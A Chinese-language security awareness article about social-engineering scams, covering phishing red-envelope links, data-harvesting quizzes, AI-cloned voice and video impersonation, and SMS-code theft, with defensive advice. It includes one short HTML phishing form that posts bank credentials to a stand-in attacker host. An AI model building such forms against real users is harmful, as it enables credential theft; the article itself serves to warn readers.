朋友突然在群里发来一个链接，说点开就能领红包。你犹豫了一下，但想到平时关系不错，还是点了进去。页面跳转到一个看起来挺正规的抽奖界面，要求你登录微信授权。你停顿了几秒，最终没继续——第二天听说有人中招，账号被盗发了一堆垃圾信息。
你以为是游戏，其实是信任测验
最近流行一种“好友默契挑战”：两个人各自在一张表上勾选是否愿意为对方做某件事，比如“借身份证”“代接家长电话”“帮你签收快递”。表面看是趣味互动，可一旦数据被第三方收集，就可能拼出你的社交关系链和行为偏好。更危险的是，这类问卷常嵌在小程序里，后台偷偷获取用户信息。
还有人收到“紧急求助”私信：“我在医院，能不能先转五千？晚点还你。”头像是熟人，名字也对，语气焦急。其实这是盗号者用AI换脸+语音模仿合成的骗局。你回一句“拍个病历本我看看”，对方立刻消失。
验证码不能给，哪怕是对“自己人”
上周有用户投诉，说自己接到“平台客服”电话，准确报出近期订单、收货地址，甚至知道她昨晚看了什么直播。对方说账户异常，需要配合验证，让她读出收到的短信验证码。她下意识照做，结果支付宝被转走两万。
这类攻击的核心不是技术多高明，而是精准击中了人的信任惯性。我们习惯了对熟悉的声音、头像、信息细节放松警惕。但现在的伪造手段已经能复刻语气节奏，生成动态视频，连亲密好友都难辨真假。
代码级的伪装越来越常见
有些钓鱼页面几乎和原版一模一样，连网址都只差一个字母。它们会模仿银行登录页、支付确认框，甚至加入实时倒计时制造紧张感。下面这段HTML代码就是一个典型例子：
<form action="https://fake-bank-login.com/submit" method="POST">
<input type="text" name="username" placeholder="请输入银行卡号" />
<input type="password" name="password" placeholder="请输入密码" />
<button type="submit">安全登录</button>
</form>它没有明显错别字，样式也规整，普通人很难一眼识破。而提交的数据直接进了攻击者服务器。
别让信任变成漏洞
遇到可疑请求时，换个渠道确认。比如通过语音通话问一句，或者打开另一个聊天软件私聊核实。开启双重验证，不随意授权第三方应用。看到“限时操作”“账户异常”之类的话，先深呼吸，别被情绪牵着走。
信任本该是人际关系的粘合剂，但现在却被当成突破口。保持一点怀疑，不是冷漠，而是对自己负责。